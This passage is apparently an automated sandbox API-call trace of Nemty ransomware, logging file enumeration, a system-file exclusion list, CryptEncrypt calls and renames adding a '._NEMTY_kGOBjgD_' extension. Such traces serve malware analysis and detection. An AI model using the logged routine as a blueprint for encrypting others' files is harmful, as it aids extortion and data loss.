dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.007] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.007] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.008] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.013] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.013] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.014] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.014] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0067.014] CloseHandle (hObject=0xffffffff) returned 0 [0067.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0067.014] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0067.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0067.014] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0067.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0067.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0067.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0067.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0067.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0067.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0067.014] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-image-mask.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-image-mask.png._nemty_kgobjgd_")) returned 0 [0067.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0067.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0067.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0067.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0067.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0067.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0067.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0067.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0067.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0067.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0067.014] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711498c6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711498c6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c12, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="16_9-frame-overlay.png", cAlternateFileName="")) returned 1 [0067.014] lstrcmpiW (lpString1="16_9-frame-overlay.png", lpString2=".") returned 1 [0067.014] lstrcmpiW (lpString1="16_9-frame-overlay.png", lpString2="..") returned 1 [0067.014] lstrcmpiW (lpString1="16_9-frame-overlay.png", lpString2="...") returned 1 [0067.015] lstrcmpiW (lpString1="16_9-frame-overlay.png", lpString2="windows") returned -1 [0067.015] lstrcmpiW (lpString1="16_9-frame-overlay.png", lpString2="$RECYCLE.BIN") returned 1 [0067.015] lstrcmpiW (lpString1="16_9-frame-overlay.png", lpString2="rsa") returned -1 [0067.015] lstrcmpiW (lpString1="16_9-frame-overlay.png", lpString2="NTDETECT.COM") returned -1 [0067.015] lstrcmpiW (lpString1="16_9-frame-overlay.png", lpString2="ntldr") returned -1 [0067.015] lstrcmpiW (lpString1="16_9-frame-overlay.png", lpString2="MSDOS.SYS") returned -1 [0067.015] lstrcmpiW (lpString1="16_9-frame-overlay.png", lpString2="IO.SYS") returned -1 [0067.015] lstrcmpiW (lpString1="16_9-frame-overlay.png", lpString2="boot.ini") returned -1 [0067.015] lstrcmpiW (lpString1="16_9-frame-overlay.png", lpString2="boot.ini") returned -1 [0067.015] lstrcmpiW (lpString1="16_9-frame-overlay.png", lpString2="AUTOEXEC.BAT") returned -1 [0067.015] lstrcmpiW (lpString1="16_9-frame-overlay.png", lpString2="ntuser.dat") returned -1 [0067.015] lstrcmpiW (lpString1="16_9-frame-overlay.png", lpString2="desktop.ini") returned -1 [0067.015] lstrcmpiW (lpString1="16_9-frame-overlay.png", lpString2="CONFIG.SYS") returned -1 [0067.015] lstrcmpiW (lpString1="16_9-frame-overlay.png", lpString2="RECYCLER") returned -1 [0067.015] lstrcmpiW (lpString1="16_9-frame-overlay.png", lpString2="BOOTSECT.BAK") returned -1 [0067.015] lstrcmpiW (lpString1="16_9-frame-overlay.png", lpString2="bootmgr") returned -1 [0067.015] lstrcmpiW (lpString1="16_9-frame-overlay.png", lpString2="programdata") returned -1 [0067.015] lstrcmpiW (lpString1="16_9-frame-overlay.png", lpString2="appdata") returned -1 [0067.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0067.015] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-overlay.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0067.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0067.015] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-overlay.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16_9-frame-overlay.png", lpUsedDefaultChar=0x0) returned 22 [0067.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0067.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0067.015] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-overlay.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0067.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0067.015] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-overlay.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16_9-frame-overlay.png", lpUsedDefaultChar=0x0) returned 22 [0067.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0067.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0067.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0067.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0067.016] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-overlay.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0067.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0067.016] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-overlay.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16_9-frame-overlay.png", lpUsedDefaultChar=0x0) returned 22 [0067.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0067.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0067.016] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-overlay.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0067.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0067.016] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-overlay.png", cchWideChar=22, lpMultiByteStr=0x4f9ed58, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16_9-frame-overlay.png", lpUsedDefaultChar=0x0) returned 22 [0067.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0067.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0067.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0067.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0067.016] Sleep (dwMilliseconds=0x5) [0067.031] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdb99b910, dwHighDateTime=0x1d561e7)) [0067.031] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdb99b910, dwHighDateTime=0x1d561e7)) [0067.031] GetLastError () returned 0x5 [0067.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0067.031] GetLastError () returned 0x5 [0067.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0067.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0067.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0067.031] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0067.031] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0067.032] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0067.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0067.032] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="mirY7fE47OJAAdkHSr570R8ASTPhSJYh4Y5jwD15oez32P+NtKov7aHETukGAEM1\r\n7QrzOMw0Ihs9TFcuBdTKSuQ/z4hD2M2OFJtu5Fegq8Gboir/H2fdUP5cvDxJJ3wj\r\nQwSxKPcjqDkjneyBJxEyhudlpURofMTNyM8UwChPyo4XrG7otY8eo92NVq4tq3p6\r\nJzq26tN8nFyV0ljMtAMppO/uAV9EUJ42lhrBWweLtz4iXx2TUyCuPlId4LyU7rGq\r\nLJUcS7N0ddXaJDq54UfQMzD+2x4I640e+6Nmnzm8RggBDqmYtFOTGisHW2J2oCRw\r\nG92nUJRQsAOQHOnvDcwBIQ==\r\n", pcchString=0x653e91c) returned 1 [0067.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0067.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0067.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0067.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0067.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0067.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0067.032] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-overlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0067.032] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0067.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0067.032] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.032] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.041] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.042] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.051] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.051] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.051] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.051] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.061] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.061] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.061] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.061] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.071] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.071] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.071] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.071] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.085] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.085] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.085] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.085] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.095] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.095] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.095] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.095] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.104] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.104] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.104] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.104] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.114] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.114] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.114] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.114] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.123] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.123] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.123] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.123] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.133] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.133] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.133] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.133] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.139] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.139] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.139] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.139] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.145] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.145] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.145] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.145] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0067.145] CloseHandle (hObject=0xffffffff) returned 0 [0067.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0067.145] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0067.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0067.145] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0067.145] RtlAllocateHeap 